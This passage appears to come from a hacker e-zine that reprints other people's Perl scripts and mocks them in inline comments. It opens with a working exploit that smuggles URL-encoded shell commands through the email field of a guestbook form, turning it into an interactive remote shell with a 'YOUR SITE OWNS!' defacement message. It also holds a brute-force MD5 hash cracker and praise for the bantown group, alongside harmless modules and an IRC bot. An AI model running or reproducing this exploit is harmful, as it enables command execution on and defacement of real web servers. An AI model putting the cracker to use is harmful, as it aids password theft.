#######################################################################################
# definitely POD worthy commenting
# you might find POD liberating, lets you rant on even more
use IO::Socket;
use strict;
my $host = $ARGV[0];
my $location = $ARGV[1];
my $command = $ARGV[2];
my $sock;
my $port = 80;
my $comment = $ARGV[3] || "YOUR SITE OWNS!\n";
# keep them in a nice order, or do it in a straight bunch
if (!($host && $location)) {
die("-!> perl $0 <host[:port]> <location> [command] [comment]\n");
}
$port = $1 if ($host =~ m/:(\d+)/);
# chuckle
while (1) {
my $switch = 0;
if (!($ARGV[2])) {
print 'guestex-shell$ ';
chomp($command = <STDIN>);
}
my $cmd = ";echo --1337 start-- ;$command; echo --1337 end--";
$cmd =~ s/(.)/sprintf("%%%x", ord($1))/ge;
my $POST = "POST $location HTTP/1.1\r\n" .
"Host: $host\r\n" .
"User-Agent: mozilla\r\n" .
"Content-type: application/x-www-form-urlencoded\r\n" .
"Content-length: " . length("surname=ax0r&nationality=american&country of residence=USA&preview=no&action=add&name=ax0r&site=ax0r net&url=www.ax0r.net&location=atlanta,ga&rating=10&comment=$comment&email=ax0r\@yahoo.com$cmd") . "\r\n" .
"Referer: $host\r\n\r\n";
$POST .= "surname=ax0r&nationality=american&country of residence=USA&preview=no&action=add&name=ax0r&site=ax0r net&url=www.ax0r.net&location=atlanta,ga&rating=10&comment=$comment&email=ax0r\@yahoo.com$cmd";
# couldn't you have done "my $sock = ... " here, instead of defining it way up there?
$sock = IO::Socket::INET->new('PeerAddr' => "$host",
# what the hell. Why is that quoted? WHY? JUST FOR THE HELL OF IT? YOU KNOW BETTER
'PeerPort' => $port,
'Proto' => 'tcp',
'Type' => SOCK_STREAM) or die ("-!> unable to connect to '$host:$port': $!\n");
$sock->autoflush();
print $sock "$POST"; # AGAIN!
#$switch = 1; # used for debugging if you think 'echo' might not be working, etc
while (my $line = <$sock>) {
if ($line =~ m/^\-\-1337\ start\-\-$/) {
# this is what eq is for
# if ($line eq '--1337 start--') {
$switch = 1;
next;
}
# be fun! one-line the whole block!
# or can you figure out how? ;]
if ($line =~ m/^\-\-1337\ end\-\-$/) {
close($sock);
last;
}
print $line if $switch;
}
exit if $ARGV[2];
# you assigned it, let it go, let it go free!!!
}
# Cheers captain. Sorry about xzziroz. it couldn't have happened to a nicer guy
# take this article in stride, as you handled the ZF0/xzziroz issue.
-[0x08] # School You: McDarren -------------------------------------------
#!/usr/bin/perl -w
#
# pmgoogle.pl
# Generates compressed KMZ (Google Earth) files
# with placemarks for Perlmonks monks
# See: earth.google.com
#
# Darren - July 2006
use strict;
use XML::Simple;
use LWP::UserAgent;
use Storable;
use Time::HiRes qw( time );
my $start = time();
say("$0 started at ", scalar localtime($start));
# Where everything lives
my $monkfile = '/home/mcdarren/scripts/monks.store';
my $kmlfile = '/home/mcdarren/temp.kml';
my $www_dir = '/home/mcdarren/var/www/googlemonks';
my $palette_url = 'http://mcdarren.perlmonk.org/googlemonks/img/monk-palette.png';
my $monks; # hashref
$|++;
# Uncomment this for testing
# Avoids re-fetching the data
#if (! -f $monkfile) {
# Fetch and parse the XML from tinymicros
$monks = get_monk_data();
store $monks, $monkfile;
#}
$monks = retrieve($monkfile)
or die "Could not retrieve $monkfile:$!\n";
# A pretty lousy attempt at abstraction :/
my %types = (
by_level => {
desc => 'By Level',
outfile => 'perlmonks_by_level.kmz',
},
by_name => {
desc => 'By Monk',
outfile => 'perlmonks_by_monk.kmz',
}
);
my @levels = qw(
Initiate Novice Acolyte Sexton
Beadle Scribe Monk Pilgrim
Friar Hermit Chaplain Deacon
Curate Priest Vicar Parson
Prior Monsignor Abbot Canon
Chancellor Bishop Archbishop Cardinal
Sage Saint Apostle Pope
);
# Create a reference to a LoL,
# which represents xy offsets to each of the
# icons on the palette image
# The palette consists of 28 icons in a 7x4 grid
my $xy_data = get_xy();
my @t = time();
print "Writing and compressing output files...";
for (keys %types) {
open OUT, ">", $kmlfile
or die "Could not open $kmlfile:$!\n";
my $kml = build_kml($monks, $_);
print OUT $kml;
close OUT;
write_zip($kmlfile, "$www_dir/$types{$_}{outfile}");
}
$t[1] = time();
say("done (", formatted_time_diff(@t), " secs)");
my $end = time();
say("Total run time ", formatted_time_diff($start, $end), " secs");
say("Total monks: ", scalar keys %{$monks->{monk}});
exit;
####################################
# End of main - subs below
####################################
sub say {
# Perl Hacks #86
print @_, "\n";
}
sub formatted_time_diff {
return sprintf("%.2f", $_[1]-$_[0])
}
sub by_level {
return $monks->{monk}{$b}{level} <=> $monks->{monk}{$a}{level}
|| lc($a) cmp lc($b);
}
sub by_name {
return lc($a) cmp lc($b);
}
sub write_zip {
my ($infile, $outfile) = @_;
use Archive::Zip qw( :ERROR_CODES :CONSTANTS );
my $zip = Archive::Zip->new();
my $member = $zip->addFile($infile);
return undef unless $zip->writeToFileNamed($outfile) == AZ_OK;
}
sub build_kml {
# This whole subroutine is pretty fugly
# I really wanted to do it without an if/elsif,
# but I couldn't figure out how
my $ref = shift;
my $type = shift;
my $kml = qq(<?xml version="1.0" encoding="UTF-8"?>
<kml xmlns="http://earth.google.com/kml/2.1">
<Folder>
<name>Perl Monks - $types{$type}{desc}</name>
<open>1</open>);
if ($type eq 'by_level') {
my $level = 28;
$kml .= qq(<Folder><name>Level $level - Pope</name><open>0</open>\n);
for my $id (sort by_level keys %{$ref->{monk}}) {
my $mlevel = $ref->{monk}{$id}{level};
if ($mlevel < $level) {
$level = $mlevel;
my $level_name = $levels[$level-1];
$kml .= qq(</Folder><Folder><name>Level $level - $level_name</name><open>0</open>\n);
}
$kml .= mk_placemark($id,$mlevel);
}
$kml .= q(</Folder>);
}
elsif ($type eq 'by_name') {
my @monks = sort by_name keys %{$ref->{monk}};
my $nummonks = scalar @monks;
my $mpf = 39; # monks-per-folder
my $start = 0;
while ($start < $nummonks) {
my $first = lc(substr($monks[$start],0,2));
my $last = defined $monks[$start+$mpf]
? lc(substr($monks[$start+$mpf],0,2))
: lc(substr($monks[-1],0,2));
$kml .= qq(<Folder><name>Monks $first-$last</name><open>0</open>\n);
MONK:
for my $cnt ($start .. $start+$mpf) {
last MONK if !$monks[$cnt];
my $monk = $monks[$cnt];
my $mlevel = $ref->{monk}{$monk}{level};
$kml .= mk_placemark($monk,$mlevel);
}
$start += ($mpf + 1);
$kml .= q(</Folder>);
}
}
$kml .= q(</Folder></kml>);
return $kml;
}
sub mk_placemark {
my $id = shift;
my $mlevel = shift;
my $p;
$p = qq(
<Placemark>
<description>
<![CDATA[
Level: $mlevel<br \\>
Experience: $monks->{monk}{$id}{xp}<br \\>
Writeups: $monks->{monk}{$id}{writeups}<br \\>
User Since: $monks->{monk}{$id}{since}<br \\>
http://www.perlmonks.org/?node_id=$monks->{monk}{$id}{id}
]]>
</description>
<Snippet></Snippet>
<name>$id</name>
<LookAt>
<longitude>$monks->{monk}{$id}{location}{longitude}</longitude>
<latitude>$monks->{monk}{$id}{location}{latitude}</latitude>
<altitude>0</altitude>
<range>10000</range>
<tilt>0</tilt>
<heading>0</heading>
</LookAt>
<Style>
<IconStyle>
<Icon>
<href>$palette_url</href>
<x>$xy_data->[$mlevel-1][0]</x>
<y>$xy_data->[$mlevel-1][1]</y>
<w>32</w>
<h>32</h>
</Icon>
</IconStyle>
</Style>
<Point>
<coordinates>$monks->{monk}{$id}{location}{longitude},$monks->{monk}{$id}{location}{latitude},0</coordinates>
</Point>
</Placemark>
);
return $p;
}
sub get_xy {
# This returns an AoA, which represents xy-offsets
# to each of the monk level icons on the image palette
my @xy;
for my $y (qw(96 64 32 0)) {
for my $x (qw(0 32 64 96 128 160 192)) {
push @xy, [ $x, $y ];
}
}
return \@xy;
}
sub get_monk_data {
my $monk_url = 'http://tinymicros.com/pm/monks.xml';
my @t = time();
print "Fetching data....";
my $ua = LWP::UserAgent->new();
my $req = HTTP::Request->new(GET=>"$monk_url");
my $result = $ua->request($req);
return 0 if !$result->is_success;
my $content = $result->content;
$t[1] = time();
say("done (", formatted_time_diff(@t), " secs)");
print "Parsing XML....";
my $monks = XMLin($content, Cache => 'storable');
$t[2] = time();
say("done (", formatted_time_diff(@t[1,2]), " secs)");
return $monks;
}
-[0x09] # Random Noob: Qex -----------------------------------------------
# Qex, where's the foreplay?
# no shebang line, no modules, nothing.
# you're an unready and unprotected virgin.
print "\n QBrute v1.0 \n";
print " By Qex \n";
print " qex[at]bsdmail[dot]org \n";
print " www.q3x.org \n\n";
print "1) Calculate MD5.\n";
print "2) Crack MD5.\n";
# heredocs or just quote it all
my $cmd;
print "Command: ";
$cmd = <STDIN>;
# its ok, you are new. chomp(my $cmd = <STDIN>);
if ($cmd > 2) {
print "Unknown Command!\n";
}
# elsif?
if ($cmd == 1) {
use Digest::MD5 qw( md5_hex );
#it isn't that intensive, you could just use it anyways!
my $md5x;
print "\nView MD5 Hash Of: ";
$md5x = <STDIN>;
chomp($md5x);
# same trick as above...
print "Hash is: ", md5_hex("$md5x"), "\n\n";
# always with the quoting....
}
if ($cmd == 2) {
# no longer lexical? what about the range operator? what about qw?
# this feels so WRONG
@char = (й','�.',�.','к','е','н','г','�.','�.',
'з','�.','�.','�.','�.','в','а','п','�.','о','л','д',
'ж','э','я','�.','с','м','и','�.','�.','б','�.','1',
'2','3','4','5','6','7','8','9','0','�.','Ц','У',
'�.','�.','Н','�.','Ш','Щ','�.','Х','Ъ','Ф','Ы',
'�.','А','�.','� ','�.','�.','�.','�.','Э','Я','Ч',
'С','�.','�.','Т','Ь','�.','Ю',
'1','2','3','4','5','6','7','8','9',
'0',' ','`','-','=','~','!','@','#','$','%',
'^','&','*','(',')','_','+','{','}','|',
':','"','<','>',);
$CharToUse = 62;
getmd5();
# lets just keep dancing sub1 -> sub2 -> sub3
# what lovely organization!
sub getmd5 {
print "\nEnter the MD5 list name (list.txt):\n";
chomp($list = <STDIN>); print "\n\n";
testarg();
# it would be nice if this was lexical, and your subroutines actually returned something
# as it is, why bother having these subs at all? Especially since they aren't reused?
}
sub testarg {
open(F, $list) || die ("\nCan't open list!!\n");
@md5 = <F>;
$length11 = @md5;
# length11? was there a length10? Perl has arrays, you know
if (!<A>){
open(A, ">>MD5.txt") || die ("\nCan't open file to write to!!\n");
}
makelist()
}
sub makelist {
for ($br = 1; $br <= 12; $br++) {
for ($len1 = 0; $len1 <= $CharToUse; $len1++) {
$word[1] = $char[$len1];
if ($br <= 1) {
AddToList(@word);
}
else {
for ($len2 = 0; $len2 <= $CharToUse; $len2++) {
$word[2] = $char[$len2];
if ($br <= 2) {
AddToList(@word);
}
else {
for ($len3 = 0; $len3 <= $CharToUse; $len3++) {
$word[3] = $char[$len3];
if ($br <= 3) {
AddToList(@word);
}
else {
for ($len4 = 0; $len4 <= $CharToUse; $len4++) {
$word[4] = $char[$len4];
if ($br <= 4) {
AddToList(@word);
}
else {
for ($len5 = 0; $len5 <= $CharToUse; $len5++) {
$word[5] = $char[$len5];
if ($br <= 5) {
AddToList(@word);
}
else {
for ($len6 = 0; $len6 <= $CharToUse; $len6++) {
$word[6] = $char[$len6];
if ($br <= 6) {
AddToList(@word);
}
else {
for ($len7 = 0; $len7 <= $CharToUse; $len7++) {
$word[7] = $char[$len7];
if ($br <= 7) {
AddToList(@word);
}
else {
for ($len8 = 0; $len8 <= $CharToUse; $len8++) {
$word[8] = $char[$len8];
if ($br <= 8) {
AddToList(@word);
}
else {
for ($len9 = 0; $len9 <= $CharToUse; $len9++) {
$word[9] = $char[$len9];
if ($br <= 9) {
AddToList(@word);
}
else {
for ($len10 = 0; $len10 <= $CharToUse; $len10++) {
$word[10] = $char[$len10];
if ($br <= 10) {
AddToList(@word);
}
else {
for ($len11 = 0; $len11 <= $CharToUse; $len11++) {
$word[11] = $char[$len11];
if ($br <= 11) {
AddToList(@word);
}
else {
for ($len12 = 0; $len12 <= $CharToUse; $len12++) {
$word[12] = $char[$len12];
if ($br <= 12) {
AddToList(@word);
}
else {
for ($len13 = 0; $len13 <= $CharToUse; $len13++) {
$word[13] = $char[$len13];
if ($br <= 13) {
AddToList(@word);
}
else {
for ($len14 = 0; $len14 <= $CharToUse; $len14++) {
$word[14] = $char[$len14];
if ($br <= 14) {
AddToList(@word);
}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
# that was disgusting. In every way. I don't think I need to say anymore about the above.
sub AddToList {
my (@entry) = @_;
# holy fucking shit you know how to take parameters!
my ($test) = join "", @entry;
my ($m) = md5_hex "$test";
# you stupid quotemonkey
print ("$m = $test\n");
# you stupid parenmonkey
for ($a = 0; $a <= $length11; $a++)
# you stupid Cstylemonkey
{
chomp($md5[$a]);
if ($m eq $md5[$a]){
print "\n\n\nFound !\t[ $test ]\n\n";
print A "$m = $test\n";
splice(@md5, $a, 1);
# wow, you know a real command.
if (!$md5[0]) { exit(); }
}
}
}
}
# I need some better material
# don't worry, the good stuff comes along
-[0x0A] # School You: xdg ------------------------------------------------
package Test::MockRandom;
$VERSION = "0.99";
@EXPORT = qw( srand rand oneish export_rand_to export_srand_to );
@ISA = qw( Exporter );
use strict;
# Required modules
use Carp;
use Exporter;
#--------------------------------------------------------------------------#
# main pod documentation #####
#--------------------------------------------------------------------------#
=head1 NAME
Test::MockRandom - Replaces random number generation with non-random number
generation
=head1 SYNOPSIS
# intercept rand in another package
use Test::MockRandom 'Some::Other::Package';
use Some::Other::Package; # exports sub foo { return rand }
srand(0.13);
foo(); # returns 0.13
# using a seed list and "oneish"
srand(0.23, 0.34, oneish() );
foo(); # returns 0.23
foo(); # returns 0.34
foo(); # returns a number just barely less than one
foo(); # returns 0, as the seed array is empty
# object-oriented, for use in the current package
use Test::MockRandom ();
my $nrng = Test::MockRandom->new(0.42, 0.23);
$nrng->rand(); # returns 0.42
=head1 DESCRIPTION
This perhaps ridiculous-seeming module was created to test routines that
manipulate random numbers by providing a known output from C<rand>. Given a
list of seeds with C<srand>, it will return each in turn. After seeded random
numbers are exhausted, it will always return 0. Seed numbers must be of a form
that meets the expected output from C<rand> as called with no arguments -- i.e.
they must be between 0 (inclusive) and 1 (exclusive). In order to facilitate
generating and testing a nearly-one number, this module exports the function
C<oneish>, which returns a number just fractionally less than one.
Depending on how this module is called with C<use>, it will export C<rand> to a
specified package (e.g. a class being tested) effectively overriding and
intercepting calls in that package to the built-in C<rand>. It can also
override C<rand> in the current package or even globally. In all
of these cases, it also exports C<srand> and C<oneish> to the current package
in order to control the output of C<rand>. See L</USAGE> for details.
Alternatively, this module can be used to generate objects, with each object
maintaining its own distinct seed array.
=head1 USAGE
By default, Test::MockRandom does not export any functions. This still allows
object-oriented use by calling C<Test::MockRandom-E<gt>new(@seeds)>. In order
for Test::MockRandom to be more useful, arguments must be provided during the
call to C<use>.
=head2 C<use Test::MockRandom 'Target::Package'>
The simplest way to intercept C<rand> in another package is to provide the
name(s) of the package(s) for interception as arguments in the C<use>
statement. This will export C<rand> to the listed packages and will export
C<srand> and C<oneish> to the current package to control the behavior of
C<rand>. You B<must> C<use> Test::MockRandom before you C<use> the target
package. This is a typical case for testing a module that uses random numbers:
use Test::More 'no_plan';
use Test::MockRandom 'Some::Package';
BEGIN { use_ok( Some::Package ) }
# assume sub foo { return rand } was imported from Some::Package
srand(0.5)
is( foo(), 0.5, "is foo() 0.5?") # test gives "ok"
If multiple package names are specified, C<rand> will be exported to all
of them.
If you wish to export C<rand> to the current package, simply provide
C<__PACKAGE__> as the parameter for C<use>, or C<main> if importing
to a script without a specified package. This can be part of a
list provided to C<use>. All of the following idioms work:
use Test::MockRandom qw( main Some::Package ); # Assumes a script
use Test::MockRandom __PACKAGE__, 'Some::Package';
# The following doesn't interpolate __PACKAGE__ as above, but
# Test::MockRandom will still DWIM and handle it correctly
use Test::MockRandom qw( __PACKAGE__ Some::Package );
=head2 C<use Test::MockRandom { %customized }>
As an alternative to a package name as an argument to C<use>,
Test::MockRandom will also accept a hash reference with a custom
set of instructions for how to export functions:
use Test::MockRandom {
rand => [ Some::Package, {Another::Package => 'random'} ],
srand => { Another::Package => 'seed' },
oneish => __PACKAGE__
};
The keys of the hash may be any of C<rand>, C<srand>, and C<oneish>. The
values of the hash give instructions for where to export the symbol
corresponding to the key. These are interpreted as follows, depending on their
type:
=over
=item *
String: a package to which Test::MockRandom will export the symbol
=item *
Hash Reference: the key is the package to which Test::MockRandom will export
the symbol and the value is the name under which it will be exported
=item *
Array Reference: a list of strings or hash references which will be handled
as above
=back
=head2 C<Test::MockRandom-E<gt>export_rand_to( 'Target::Package' =E<gt> 'rand_alias' )>
In order to intercept the built-in C<rand> in another package,
Test::MockRandom must export its own C<rand> function to the
target package B<before> the target package is compiled, thus overriding
calls to the built-in. The simple approach (described above) of providing the
target package name in the C<use Test::MockRandom> statement accomplishes this
because C<use> is equivalent to a C<require> and C<import> within a C<BEGIN>
block. To explicitly intercept C<rand> in another package, you can also call
C<export_rand_to>, but it must be enclosed in a C<BEGIN> block of its own. The
explicit form also support function aliasing just as with the custom approach
with C<use>, described above:
use Test::MockRandom;
BEGIN {Test::MockRandom->export_rand_to('AnotherPackage'=>'random')}
use AnotherPackage;
This C<BEGIN> block must not include a C<use> statement for the package to be
intercepted, or perl will compile the package to be intercepted before the
C<export_rand_to> function has a chance to execute and intercept calls to
the built-in C<rand>. This is very important in testing. The C<export_rand_to>
call must be in a separate C<BEGIN> block from a C<use> or C<use_ok> test,
which should be enclosed in a C<BEGIN> block of its own:
use Test::More tests => 1;
use Test::MockRandom;
BEGIN { Test::MockRandom->export_rand_to( 'AnotherPackage' ); }
BEGIN { use_ok( 'AnotherPackage' ); }
Given these cautions, it's probably best to use either the simple or custom
approach with C<use>, which does the right thing in most circumstances. Should
additional explicit customization be necessary, Test::MockRandom also provides
C<export_srand_to> and C<export_oneish_to>.
=head2 Overriding C<rand> globally: C<use Test::MockRandom 'CORE::GLOBAL'>
This is just like intercepting C<rand> in a package, except that you
do it globally by overriding the built-in function in C<CORE::GLOBAL>.
use Test::MockRandom 'CORE::GLOBAL';
# or
BEGIN { Test::MockRandom->export_rand_to('CORE::GLOBAL') }
You can always access the real, built-in C<rand> by calling it explicitly as
C<CORE::rand>.
=head2 Intercepting C<rand> in a package that also contains a C<rand> function
This is tricky as the order in which the symbol table is manipulated will lead
to very different results. This can be done safely (maybe) if the module uses
the same rand syntax/prototype as the system call but offers them up as method
calls which resolve at run-time instead of compile time. In this case, you
will need to do an explicit intercept (as above) but do it B<after> importing
the package. I.e.:
use Test::MockRandom 'SomeRandPackage';
use SomeRandPackage;
BEGIN { Test::MockRandom->export_rand_to('SomeRandPackage');
The first line is necessary to get C<srand> and C<oneish> exported to
the current package. The second line will define a C<sub rand> in
C<SomeRandPackage>, overriding the results of the first line. The third
line then re-overrides the C<rand>. You may see warnings about C<rand>
being redefined.
Depending on how your C<rand> is written and used, there is a good likelihood
that this isn't going to do what you're expecting, no matter what. If your
package that defines C<rand> relies internally upon the system
C<CORE::GLOBAL::rand> function, then you may be best off overriding that
instead.
=head1 FUNCTIONS
=cut
#--------------------------------------------------------------------------#
# Class data
#--------------------------------------------------------------------------#
my @data = (0);
#--------------------------------------------------------------------------#
# new()
#--------------------------------------------------------------------------#
=head2 C<new>
$obj = new( LIST OF SEEDS );
Returns a new Test::MockRandom object with the specified list of seeds.
=cut
sub new {
my ($class, @data) = @_;
my $self = bless ([], ref ($class) || $class);
$self->srand(@data);
return $self;
}
#--------------------------------------------------------------------------#
# srand()
#--------------------------------------------------------------------------#
=head2 C<srand>
srand( LIST OF SEEDS );
$obj->srand( LIST OF SEEDS);
If called as a bare function call or package method, sets the seed list
for bare/package calls to C<rand>. If called as an object method,
sets the seed list for that object only.
=cut
sub srand {
if (ref ($_[0]) eq __PACKAGE__) {
my $self = shift;
@$self = $self->_test_srand(@_);
return;
} else {
@data = Test::MockRandom->_test_srand(@_);
return;
}
}
sub _test_srand {
my ($self, @data) = @_;
my $error = "Seeds for " . __PACKAGE__ .
" must be between 0 (inclusive) and 1 (exclusive)";
croak $error if grep { $_ < 0 or $_ >= 1 } @data;
return @data ? @data : ( 0 );
}
#--------------------------------------------------------------------------#
# rand()
#--------------------------------------------------------------------------#
=head2 C<rand>
$rv = rand();
$rv = $obj->rand();
$rv = rand(3);
If called as a bare or package function, returns the next value from the
package seed list. If called as an object method, returns the next value from
the object seed list.
If C<rand> is called with a numeric argument, it follows the same behavior as
the built-in function -- it multiplies the argument with the next value from
the seed array (resulting in a random fractional value between 0 and the
argument, just like the built-in). If the argument is 0, undef, or
non-numeric, it is treated as if the argument is 1.
Using this with an argument in testing may be complicated, as limits in
floating point precision mean that direct numeric comparisons are not reliable.
E.g.
srand(1/3);
rand(3); # does this return 1.0 or .999999999 etc.
=cut
sub rand {
my ($mult,$val);
if (ref ($_[0]) eq __PACKAGE__) { # we're a MockRandom object
$mult = $_[1];
$val = shift @{$_[0]} || 0;
} else {
#
we might be called as a method of some other class
# so we need to ignore that and get the right multiplier
$mult = $_[ ref($_[0]) ? 1 : 0];
$val = shift @data || 0;
}
# default to 1 for undef, 0, or strings that aren't numbers
eval { local $^W = 0; my $bogus = 1/$mult };
$mult = 1 if $@;
return $val * $mult;
}
#--------------------------------------------------------------------------#
# oneish()
#--------------------------------------------------------------------------#
=head2 C<oneish>
srand( oneish() );
if ( rand() == oneish() ) { print "It's almost one." };
A utility function to return a nearly-one value. Equal to ( 2^32 - 1 ) / 2^32.
Useful in C<srand> and test functions.
=cut
sub oneish {
return (2**32-1)/(2**32);
}
#--------------------------------------------------------------------------#
# export_rand_to()
#--------------------------------------------------------------------------#
=head2 C<export_rand_to>
Test::MockRandom->export_rand_to( 'Some::Class' );
Test::MockRandom->export_rand_to( 'Some::Class' => 'random' );
This function exports C<rand> into the specified package namespace. It must be
called as a class function. If a second argument is provided, it is taken as
the symbol name used in the other package as the alias to C<rand>:
use Test::MockRandom;
BEGIN { Test::MockRandom->export_rand_to( 'Some::Class' => 'random' ); }
use Some::Class;
srand (0.5);
print Some::Class::random(); # prints 0.5
It can also be used to explicitly intercept C<rand> after Test::MockRandom has
been loaded. The effect of this function is highly dependent on when it is
called in the compile cycle and should usually called from within a BEGIN
block. See L</USAGE> for details.
Most users will not need this function.
=cut
sub export_rand_to {
_export_fcn_to(shift, "rand", @_);
}
#--------------------------------------------------------------------------#
# export_srand_to()
#--------------------------------------------------------------------------#
=head2 C<export_srand_to>
Test::MockRandom->export_srand_to( 'Some::Class' );
Test::MockRandom->export_srand_to( 'Some::Class' => 'seed' );
This function exports C<srand> into the specified package namespace. It must be
called as a class function. If a second argument is provided, it is taken as
the symbol name to use in the other package as the alias for C<srand>.
This function may be useful if another package wraps C<srand>:
# In Some/Class.pm
package Some::Class;
sub seed { srand(shift) }
sub foo { rand }
# In a script
use Test::MockRandom 'Some::Class';
BEGIN { Test::MockRandom->export_srand_to( 'Some::Class' ); }
use Some::Class;
seed(0.5);
print foo(); # prints "0.5"
The effect of this function is highly dependent on when it is called in the
compile cycle and should usually be called from within a BEGIN block. See
L</USAGE> for details.
Most users will not need this function.
=cut
sub export_srand_to {
_export_fcn_to(shift, "srand", @_);
}
#--------------------------------------------------------------------------#
# export_oneish_to()
#--------------------------------------------------------------------------#
=head2 C<export_oneish_to>
Test::MockRandom->export_oneish_to( 'Some::Class' );
Test::MockRandom->export_oneish_to( 'Some::Class' => 'nearly_one' );
This function exports C<oneish> into the specified package namespace. It must
be called as a class function. If a second argument is provided, it is taken
as the symbol name to use in the other package as the alias for C<oneish>.
Since C<oneish> is usually only used in a test script, this function is likely
only necessary to alias C<oneish> to some other name in the current package:
use Test::MockRandom 'Some::Class';
BEGIN { Test::MockRandom->export_oneish_to( __PACKAGE__, "one" ); }
use Some::Class;
seed( one() );
print foo(); # prints a value very close to one
The effect of this function is highly dependent on when it is called in the
compile cycle and should usually be called from within a BEGIN block. See
L</USAGE> for details.
Most users will not need this function.
=cut
sub export_oneish_to {
_export_fcn_to(shift, "oneish", @_);
}
#--------------------------------------------------------------------------#
# _export_fcn_to
#--------------------------------------------------------------------------#
sub _export_fcn_to {
my ($self, $fcn, $pkg, $alias) = @_;
croak "Must call to export_${fcn}_to() as a class method"
unless ( $self eq __PACKAGE__ );
croak("export_${fcn}_to() requires a package name") unless $pkg;
_export_symbol($fcn,$pkg,$alias);
}
#--------------------------------------------------------------------------#
# _export_symbol()
#--------------------------------------------------------------------------#
sub _export_symbol {
my ($sym,$pkg,$alias) = @_;
$alias ||= $sym;
{
no strict 'refs';
local $^W = 0; # no redefine warnings
*{"${pkg}::${alias}"} = \&{"Test::MockRandom::${sym}"};
}
}
#--------------------------------------------------------------------------#
# _custom_export
#--------------------------------------------------------------------------#
sub _custom_export {
my ($sym,$custom) = @_;
if ( ref($custom) eq 'HASH' ) {
_export_symbol( $sym, %$custom ); # flatten { pkg => 'alias' }
}
else {
_export_symbol( $sym, $custom );
}
}
#--------------------------------------------------------------------------#
# import()
#--------------------------------------------------------------------------#
sub import {
my $class = shift;
my $caller = caller(0);
# Nothing exported by default or if empty string
return unless @_;
return if ( @_ == 1 && $_[0] eq '' );
for my $tgt ( @_ ) {
# custom handling if it's a hashref
if ( ref($tgt) eq "HASH" ) {
for my $sym ( keys %$tgt ) {
croak "Unrecognized symbol '$sym'"
unless grep { $sym eq $_ } qw (rand srand oneish);
my @custom = ref($tgt->{$sym}) eq 'ARRAY' ?
@{$tgt->{$sym}} : $tgt->{$sym};
_custom_export( $sym, $_ ) for ( @custom );
}
}
# otherwise, export rand to target and srand/oneish to caller
else {
my $pkg = ($tgt =~ /^__PACKAGE__$/) ? $caller : $tgt; # DWIM
_export_symbol("rand",$pkg);
_export_symbol($_,$caller) for qw( srand oneish );
}
}
}
1; #this line is important and will help the module return a true value
__END__
=head1 BUGS
Please report bugs using the CPAN Request Tracker at
http://rt.cpan.org/NoAuth/Bugs.html?Dist=Test-MockRandom
=head1 AUTHOR
David A Golden <dagolden@cpan.org>
http://dagolden.com/
=head1 COPYRIGHT
Copyright (c) 2004-2005 by David A. Golden
This program is free software; you can redistribute
it and/or modify it under the same terms as Perl itself.
The full text of the license can be found in the
LICENSE file included with this module.
=head1 SEE ALSO
=over
=item L<Test::MockObject>
=item L<Test::MockModule>
=back
=cut
-[0x0B] # Token PHP Noob -------------------------------------------------
use strict;
# you can't handle your strict
# go back to the documentation
##Configuration settings
use vars qw ($nick $server $port $channel $rss_url $refresh);
# way to avoid strict, moron
$nick = 'RSSBot';
$server = 'irc.jamscone.com';
$port = 6667;
$channel = '#jamscone';
$rss_url = 'http://www.codingo.net/blog/feed/';
$refresh = 30*60;
## Premable
# what the fuck is premable?
# are you dyslexic, skelm?
# must be why you stick to php, easy to spell that
use POSIX;
use Net::IRC;
use LWP::UserAgent;
use XML::RSS;
# keep this at the top
## Connection initialization
use vars qw ($irc $conn);
# this better not be persistent
$irc = new Net::IRC;
print "Connecting to server ".$server.":".$port." with nick ".$nick."...\n";
# quote it all and keep it simple
$conn = $irc->newconn (Nick => $nick, Server => $server, Port => $port, Ircname => 'RSS->IRC Gateway IRC hack');
# thank you, thank you for not quoting
# please tell me that you didn't just steal that line from Net::IRC docs
# Connect event handler - we immediately try to join our channel
sub on_connect {
my ($self, $event) = @_;
print "Joining channel ".$channel."...\n";
$self->join ($channel);
# this is stolen too, are your comments even your own?
}
$conn->add_handler ('endofnames', \&on_joined);
# Custom CTCP version request
sub on_cversion {
my ($self, $event) = @_;
$self->ctcp_reply ($event->nick, 'VERSION RSS->RSS Notify');
}
$conn->add_handler('cversion', \&on_cversion);
## The RSS Feed
use vars qw (@items);
# Fetches the RSS from server and returns a list of items
sub fetch_rss {
my $ua = LWP::UserAgent->new (env_proxy => 1, keep_alive => 1, timeout => 30);
my $request = HTTP::Request->new('GET', $rss_url);
my $response = $ua->request ($request);
return unless ($response->is_success);
# you could just use LWP::Simple::get()
my $data = $response->content;
my $rss = new XML::RSS ();
$rss->parse($data);
foreach my $item (@{$rss->{items}}) {
# I personally guarantee you didn't write that yourself
# Make sure to strip any possible newlines and similar stuff
$item->{title} =~ s/\s/ /g;
}
return @{$rss->{items}};
}
# Attempts to find some newly appeared RSS Items
sub delta_rss {
my ($old, $new) = @_;
# If @$old is empty, it means this is the first run and we will therefore not do anything
return () unless ($old and @$old);
# return () unless @$old;
# We take the first item of @$old and find it in @$new.
# Then anything before its position in @$new are the newly appeared items which we return.
my $sync = $old->[0];
# If it is at the start of @$new, nothing has changed
return () if ($sync->{title} eq $new->[0]->{title});
my $item;
for ($item = 1; $item < @$new; $item++) {
# for my $item (1 .. @$new) { # at least!
# We are comparing the title whcih might not be 100% reliable but
# RSS streams really should not contain multiple items with the same title
last if ($sync->{title} eq $new->[$item]->{title});
}
return @$new[0 .. $item - 1];
# you do know ..
# ignorance was never an excuse!
}
# Check RSS feed periodically.
sub check_rss {
my (@new_items);
# why? why?
print "Checking RSS feed [".$rss_url."]...\n"; # could just keep $rss_url in the quotes
@new_items = fetch_rss ();
if (@new_items) {
my @delta = delta_rss (\@items, \@new_items);
foreach my $item (reverse @delta) {
$conn ->privmsg ($channel, '"'.$item->{title}.'" :: '.$item->{link});
}
@item = @new_items;
}
alarm $refresh;
}
$SIG{ALRM} = \&check_rss;
# three cheers for signals
check_rss();
# Fire up the IRC loop
$irc->start;
# yes, let's get this party started
-[0x0C] # Hello bantown --------------------------------------------------
What's nice about bantown is that they are relatively competent. They get shit done.
They aren't all talk. Despite the repulsive exterior, these guys do shit. What
particularly attaches our sympathies to them is that they use quality Perl scripts
and give credit to them. This script isn't perfect, but its pretty nice, and of course
gets the job done. It's very tempting to criticize this code, but I will refrain
because this is the worst of the scripts they advertise, but the smallest to include.
Here's to bantown and classy idiocy!
#
# aol.pl adapted from aol.scr
#
# author: cj_ <rover@gruntle.org>
#
#/aolsay [to send a random aolsay to the channel
#/colaolsay [colorize above]
